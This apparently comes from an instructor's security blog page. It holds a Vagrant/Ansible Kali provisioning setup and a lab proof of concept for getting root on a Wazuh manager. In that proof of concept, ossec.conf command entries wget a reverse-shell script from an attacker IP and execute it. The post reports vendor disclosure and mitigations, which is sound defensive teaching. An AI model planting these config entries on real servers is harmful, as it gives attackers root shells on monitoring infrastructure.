The hybrid of symmetric and asymmetric encryption used in Ransomware can be illustrated using the OpenSSL suite of applications. The following demo walks you through the cryptographic operations typical of a Ransomware attack from the Attacker and Victim perspectives.

Background

I've been using Kali linux as my main ethical hacking OS for several years. I use it in the classroom and in ethical hacking ranges such as hackthebox. One issue is the best way to consistently store tools, proven exploit code and target information.

Vagrant allows you to consistently configure your VM to your specifications to include folders that are synchronized between guest and host. Simply do a git clone on your tools and exploit directories on your host and capture target data in the synchronized folder on your guest, and you end up with one consistent repository of data rather than having key resources trapped in a VM that you may not use again.

Proof of Concept​

• Install Vagrant and provider

• Place Vagrantfile and provision-kali.yml in the same directory (example uses vmware provider)

• create a shared_directory directory

• run vagrant up

Vagrantfile

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "kalilinux/rolling"
  config.vm.provision :ansible do |ansible|
    ansible.limit = "all"
    ansible.playbook = "provision-kali.yml"
  end
  config.vm.provider "vmware_desktop" do |v|
    v.gui=true
    v.vmx["memsize"] = "8192"
    v.vmx["numvcpus"] = "2"
  end
  config.vm.synced_folder "shared_directory", "/host_data"
  
end

provision-kali.yml

- name: provision
  hosts: all
  tasks:

    - name: upgrade all packages
      become: yes
      apt:
        upgrade: yes
        update_cache: yes

    - name: install chrome
      become: yes
      apt:
        deb: "https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb"

    - name: install chrome remote desktop
      become: yes
      apt:
        deb: "https://dl.google.com/linux/direct/chrome-remote-desktop_current_amd64.deb"

    - name: install misc kali packages
      become: yes
      apt:
        pkg:
          - seclists
          - curl
          - feroxbuster
          - nbtscan
          - oscanner
          - redis-tools
          - smbclient
          - snmp
          - sslscan
          - sipvicious
          - tnscmd10g
          - wkhtmltopdf
          - python3-venv
          - python3-pip
          - gobuster
          - xlsx2csv
          - mingw-w64
          - flameshot
          - atftp
          - remmina
          - gcc-multilib
          - crowbar
          - libssl-dev
          - zlib1g-dev
          - libbz2-dev
          - libreadline-dev
          - libsqlite3-dev
          - wget
          - llvm
          - libncurses5-dev
          - libncursesw5-dev
          - xz-utils
          - tk-dev
          - liblzma-dev
          - git

    - name: add microsoft key
      become: yes
      apt_key:
        url: https://packages.microsoft.com/keys/microsoft.asc
        state: present

    - name: add vscode repo
      become: yes
      apt_repository:
        repo: deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main
    - name: install vscode
      become: yes
      apt:
        name: code
        update_cache: yes
        state: latest

    - name: pip install nmap to csv
      pip:
        name: nmaptocsv


    - name: pip install csv to md
      pip:
        name: csv2md

    - name: download pyenv installer
      get_url:
        url: https://pyenv.run
        dest: /tmp/pyenv.run
        mode: 'u+rwx'

    - name: run pyenv installer
      shell: /tmp/pyenv.run
      args:
        creates: "/home/vagrant/.pyenv/README.md"

    - name: modify user path for pip and pyenv
      lineinfile:
        path: "/home/vagrant/.zshrc"
        line: "{{ item }}"
        state: present
        mode: 0644
        create: yes
      with_items:
      - 'export PATH=$PATH:/home/vagrant/.local/bin'
      - 'export PYENV_ROOT="$HOME/.pyenv"'
      - 'export PATH="$PYENV_ROOT/bin:$PATH"'
      - 'if command -v pyenv 1>/dev/null 2>&1; then; eval "$(pyenv init --path)";fi'

    - name: install pyenv for python 2.7.18
      shell: "/home/vagrant/.pyenv/bin/pyenv install 2.7.18"
      args:
        creates: "/home/vagrant/.pyenv/versions/2.7.18/include/python2.7/Python.h"

    - name: reboot your box
      become: yes
      reboot:

• run vagrant reload

Background​

This blog entry describes a recent experience I had when diving down a security rabbit hole with Wazuh when I really should have been grading during Finals week. I've been experimenting with different XDR/SIEM platforms for the last several semesters in my Enterprise Security Controls class. We've worked with Splunk, Graylog, Traditional RSyslog and as of late, Wazuh. Wazuh has also been a part of recent Northeast Collegiate Cyber Defense Competitions.

The upshot of my experience is that in the case of Wazuh Manager, you really need to treat and protect it just as you would a Windows Domain Controller. Out of the box, Wazuh has some security settings that gives the default Wazuh web application administrator the ability to execute code as root on the underlying host.

This may not sound too troubling, however it does violate everything I've learned about role separation. Should your XDR admin be able to leverage the application to become root on the underlying host operating system? Additionally, if you use Wazuh's shared configuration for agents and enable that setting on agent systems, do you want that same Wazuh administrator to be able to execute privileged commands on any agent system?

After communicating my findings with Wazuh (don't count your CVE's before they have hatched), it seems that this is a well understood and inherent part of the product and that mitigations in the form of role based access control (RBAC) should also be applied if you plan to use the product outside of an evaluation setting. The ease of installation masks the responsibilities an organization needs to take to further secure wazuh from the sort of hackery I'm about to discuss here. Role Based Access Control (RBAC) requires a good deal of thought.

The proof of concept discussed here will very likely become a pentest target in the Champlain Ethical Hacking Range and might make a great foothold into a domain takeover.

Proof of Concept​

Here's a very brief proof of concept that does not include agent takeover, mainly because that would require changes to the default configuration.

• Install Wazuh using the Wazuh installation assistant (you should really look at these installer scripts before you pipe curl to sudo. At the time of this blog entry, the current version of Wazuh is 4.3.10

  

  

• For this proof of concept we will have

  • 1 Ubuntu 22.04 Server running the latest version of Wazuh 4.3.10
  • 1 Kali Attacker

Getting Root on the Wazuh Server​

Preconditions​

You have the default Wazuh Manager's Administrator login whose strong password is printed to console during installation. Alternatively, you have the credentials for a user in the Wazuh Administrator's group.

Note, these credentials are also cached in the wazuh-install-files.tar archive, make sure to delete this file from the host.

ossec.conf and <localfile>​

The localfile or wodle configuration commands allow raw OS commands to be executed and can be abused to run malicious commands.

The two XML configuration items added to the Wazuh Manager's ossec.conf download a bash reverse shell script from the attacker (10.0.99.100) and then executes it. The attacker receives a root reverse shell. This two step process is being used because the xml validator for ossec.conf did not like the bash reverse shell syntax.

    <!-- GMCYBER HACKERY DOWNLOAD REVERSE SHELL -->
  <localfile>
    <log_format>command</log_format>
    <command>wget http://10.0.99.100:8000/rs.sh</command>
    <frequency>10</frequency>
  </localfile>
  
    <!-- GMCYBER HACKERY EXECUTE REVERSE SHELL -->
  <localfile>
    <log_format>command</log_format>
    <command>bash ./rs.sh</command>
    <frequency>10</frequency>
  </localfile>

Mitigation​

RBAC​

Wazuh does indeed have a rich role based authorization model that I will be looking at during the Spring running of our Enterprise Security Controls class and we will attempt to model and deploy the roles needed in an enterprise SOC. The use of generic credentials like "admin" should be discouraged in favor of named user accounts with assigned roles. Editing ossec.conf, agents.conf and restarting services are should not be available to all logged in users but restricted to those who need to perform these actions.

Containerization​

Running Wazuh within a container would isolate the root exploit shown above to the context of the container.

For the better part of a decade, I've been documenting those technical things I do that are worthy of repeat as markdown within a private GitHub repository. I've also been encouraging students to do the same and many have exceptional technical journals by the time they land a job in the Cyber Security or Digital Forensic arenas. In some cases, this mature set of on-line content and reflection is of great use when interviewing for a position.

This site contains a curated and public versions of the documentation for projects and courses that seem the most useful to a wider audience. It also showcases my interests to potential collaborators and future clients.